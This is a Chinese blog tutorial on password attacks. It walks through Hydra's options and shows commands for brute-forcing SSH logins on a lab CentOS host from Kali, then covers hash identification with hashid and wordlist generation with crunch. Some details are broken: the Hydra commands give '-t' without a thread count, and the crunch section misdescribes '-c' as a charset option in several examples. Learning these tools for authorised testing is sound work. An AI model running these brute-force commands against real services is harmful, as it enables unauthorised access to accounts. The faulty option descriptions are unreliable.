Hydra(九头蛇)是一款开源的暴力破解工具,主要用于渗透测试中对各种网络服务的登录凭证进行暴力破解。它支持包括SSH、FTP、HTTP、RDP、SMB、MySQL等在内的50多种协议,由THC(The Hacker's Choice)团队开发,默认集成在Kali Linux中

Hydra的基础使用

使用语法:hydra 参数 IP地址 服务名
帮助命令:hydra -h
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

Hydra常用参数

参数 介绍
-h 查看帮助菜单。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V 显示详细过程。
-x -h 密码生成器帮助

Kali字典

在kail中是自带字典的,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件,也可以自己向里面添加。

image-20250214092211924

ssh协议爆破

目标机 centos7 :192.168.162.139

攻击机:kali :192.168.162.128

不知账号命令:hydra 192.168.162.139 ssh -L user.txt -P /usr/share/wordlists/dirb/small.txt -t -vV -f 这里我是用我指定的账号密码文件进行破解,如果像我一样自己创建账号密码进行破解,那么你在那个目录下创建的就需要在那个目录下操作,否则就需要加上绝对路径

知道账号命令:hydra 192.168.162.139 ssh -l root -P /usr/share/wordlists/dirb/small.txt -t -vV -f

image-20250214093908180

Hydra密码生成器

image-20250214094217653

哈希密码破解

hash-identifier

Hash-Identifier 是一款用于识别哈希算法类型的工具,支持多种常见哈希算法(如 MD5、SHA-1、SHA-256 等)

image-20250214133440704

j基本用法识别单个哈希值
在命令行中直接输入哈希值

hashid

image-20250214133711741

选项 说明
-e, --extended 列出所有可能的哈希算法,包括加盐密码
-m, --mode 在输出中显示对应的 Hashcat 模式
-j, --john 在输出中显示对应的 JohnTheRipper 格式
-o FILE, --outfile FILE 将输出写入文件
-h, --help 显示帮助信息并退出
--version 显示程序的版本号并退出

示例用法

  1. 识别哈希类型(默认)
   hashid.py 5f4dcc3b5aa765d61d8327deb882cf99
  1. 列出所有可能的哈希算法
   hashid.py -e 5f4dcc3b5aa765d61d8327deb882cf99'
  1. 显示对应的 Hashcat 模式
   hashid.py -m 5f4dcc3b5aa765d61d8327deb882cf99
  1. 显示对应的 JohnTheRipper 格式
   hashid.py -j 5f4dcc3b5aa765d61d8327deb882cf99
  1. 将输出写入文件
   hashid.py -o output.txt 5f4dcc3b5aa765d61d8327deb882cf99
  1. 显示帮助信息
   hashid.py -h
  1. 显示版本号
   hashid.py --version

字典文件生成

crunch生成字典

选项 描述
-t 模板选项,用于指定密码的格式。例如,-t @@@@ 表示生成四个字符的密码。
-o 输出选项,用于指定生成的字典文件的输出路径。例如,-o output.txt 表示将生成的字典保存到 output.txt 文件中。
-s 起始字符串选项,用于指定生成密码的起始字符串。例如,-s abc 表示生成的密码以 abc 开头。
-e 结束字符串选项,用于指定生成密码的结束字符串。例如,-e def 表示生成的密码以 def 结尾。
-c 字符集选项,用于指定生成密码的字符集。例如,-c abcdefg 表示生成的密码只包含 ag 的字符。
-d 重复字符选项,用于指定生成密码中重复字符的最大数量。例如,-d 2 表示生成的密码中最多包含两个相同的字符。
-q 静默选项,用于静默模式,不显示生成的密码。
-z 压缩选项,用于将生成的字典文件压缩为 .gz 格式。

示例

以下是一些使用 crunch 的示例:

# 生成长度为 4 到 6 的密码,并将结果保存到 output.txt 文件中
crunch 4 6 -o output.txt

# 生成长度为 4 到 6 的密码,只包含 a 到 g 的字符,并将结果保存到 output.txt 文件中
crunch 4 6 -c abcdefg -o output.txt

# 生成长度为 4 到 6 的密码,以 abc 开头,并将结果保存到 output.txt 文件中
crunch 4 6 -s abc -o output.txt

# 生成长度为 4 到 6 的密码,以 def 结尾,并将结果保存到 output.txt 文件中
crunch 4 6 -e def -o output.txt
posted @ 2025-08-07 08:57  0xMouise  阅读(7)  评论(0)    收藏  举报